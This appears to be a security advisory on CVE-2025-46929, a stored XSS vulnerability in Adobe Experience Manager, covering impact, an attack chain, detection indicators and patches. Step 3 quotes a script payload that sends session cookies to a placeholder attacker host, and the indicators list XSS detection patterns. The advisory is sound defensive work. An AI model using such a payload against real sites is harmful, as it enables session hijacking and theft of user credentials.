CVE-2025-46929: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46929 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged attackers to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), where user-supplied input in AEM form fields is not properly sanitized before being stored and rendered in the browser. An attacker with low privileges can inject malicious JavaScript into a vulnerable form field; the script is then persistently stored and executed in the browser of any victim who visits the page containing that field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a basic authenticated account. No public proof-of-concept code has been identified at this time (Adobe Advisory).

Successful exploitation can result in theft of session cookies, unauthorized actions performed on behalf of victims, capture of sensitive user input, redirection to malicious websites, and dynamic defacement of web content. The vulnerability has a changed scope, meaning the impact can extend beyond the AEM application itself to affect end users' browsers. Confidentiality and integrity are both rated as low impact, with no direct availability impact (Adobe Advisory).

There is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept exploit for CVE-2025-46929 at this time. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. No threat actor attribution or CISA KEV catalog listing has been identified for this vulnerability (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0. Obtain a low-privileged authenticated account on the target AEM instance.
2. Identify vulnerable form fields: Browse the AEM authoring interface or public-facing forms to locate input fields that accept and store user-supplied content without adequate sanitization.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the form.
4. Payload persistence: The malicious script is stored server-side within AEM's content repository and rendered as part of the page whenever it is loaded.
5. Victim execution: When a victim (e.g., an AEM administrator or site visitor) browses to the page containing the compromised field, the injected JavaScript executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints from low-privileged accounts containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System / Content Repository: Unexpected JavaScript or HTML script tags stored within AEM content nodes or form field values in the JCR (Java Content Repository).
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading AEM pages, potentially indicating cookie or credential exfiltration.
• Process/Browser: Unusual redirects or pop-ups experienced by AEM users when accessing specific pages; reports from users of unexpected behavior on AEM-authored pages.

Adobe has released patches addressing this vulnerability: update AEM on-premises deployments to version 6.5.23.0 or later, and AEM Cloud Service to version 2025.5.0 or later. As additional mitigations, administrators should implement strict input validation on all AEM form fields, deploy Content Security Policy (CSP) headers to limit script execution, and review existing form fields for stored malicious content. Limiting user privileges within the AEM environment and monitoring for unusual script executions are also recommended (Adobe Advisory).